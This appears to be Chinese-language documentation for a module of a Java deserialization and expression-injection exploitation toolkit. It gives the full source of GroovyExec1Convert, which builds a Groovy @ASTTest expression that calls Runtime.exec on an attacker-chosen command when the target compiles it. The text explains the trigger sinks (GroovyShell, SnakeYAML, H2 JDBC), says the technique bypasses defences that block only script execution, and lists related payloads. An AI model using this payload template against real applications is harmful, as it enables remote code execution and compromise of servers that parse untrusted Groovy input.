- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
groovy:groovy.lang.GroovyShell
生成一段可被 Groovy 编译/解析触发的恶意表达式字符串:利用 @groovy.transform.ASTTest 注解在 AST 编译阶段执行 Runtime.getRuntime().exec(cmd),实现最朴素的 Groovy 命令执行。它本身不返回对象,而是返回一个 String 表达式,供上游的 Groovy 求值型 sink(GroovyShell.evaluate/GroovyClassLoader.parseClass 等)消费。
- 入口
tags:Groovy_Expr、Expression、END——Groovy_Expr表示它产出 Groovy 表达式文本;Expression归入通用「表达式字符串」族;END表示它是链的末端产物(自身不再向内包装其它 gadget,invoke直接返回字符串)。 - 衔接
nextTags:(空)—— 作为末端,不再向下衔接。 excludes:(空)。
@GadgetTags(tags={"Groovy_Expr", "Expression", "END"})
@GadgetAnnotation(name="Groovy表达式字符串1", description="简单的Runtime命令执行",
dependencies={"groovy:groovy.lang.GroovyShell"})
public class GroovyExec1Convert implements Gadget {
@Param(name="命令", description="eg: cmd /c calc")
public String cmd = "cmd /c calc";
public static String templte =
"@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"%s\")})def x";
private String getObject() {
return String.format(templte, this.cmd);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}逐段说明:
templte是核心模板。@groovy.transform.ASTTest是 Groovy 提供的编译期测试注解,其value闭包会在编译 / AST 变换阶段(而非运行阶段)被执行。这意味着只要目标把该字符串交给 Groovy 编译器(GroovyShell.parse/evaluate、GroovyClassLoader.parseClass),无需真正「运行」脚本即可触发闭包中的Runtime.getRuntime().exec(...)。String.format(templte, this.cmd)把用户命令直接内插进exec("...")的双引号里——这里是纯字符串拼接,命令中若含"或反斜杠会破坏语法,因此适合简单命令(如cmd /c calc、/bin/sh -c id需注意转义)。invoke不调用chain.doCreate,直接返回字符串,印证END标签:它是链的最内层字节流/文本产物。
触发条件:目标环境类路径存在 groovy,且存在一处会编译/解析该表达式的入口(典型如 GroovyShell、SnakeYAML→Groovy、或 Groovy 相关的 JDBC/表达式注入点)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 交给 Runtime.exec 的命令,单条字符串形式 |
cmd /c calc |
任意(eg: cmd /c calc) |
- 依赖
groovy(示例声明groovy.lang.GroovyShell),对具体小版本不敏感——ASTTest注解自 Groovy 2.x 起长期存在。 - 关键点在于 AST 编译期执行:区别于
execute()(运行期),本 gadget 只要触发「编译/解析」即可 RCE,绕过某些只拦截脚本运行的场景。 - 命令通过
%s直接拼入双引号字符串,复杂命令需自行处理转义。
自由构件,未直接出现在预设链(usedInChains 为空)。可作为 Groovy 表达式求值链的末端载荷手工组合。
- 同族(同为 Groovy 表达式末端载荷):GroovyExec2Convert(走运行期
execute())、H2GroovyExecJdbc(同款ASTTest模板,经 H2 JDBC URL 触发)。 - 上游消费者:任意接收
Groovy_Expr/Expression文本并交给 Groovy 编译器的 sink(如GroovyShellRef、SnakeyamlRef等 JNDI/表达式入口)。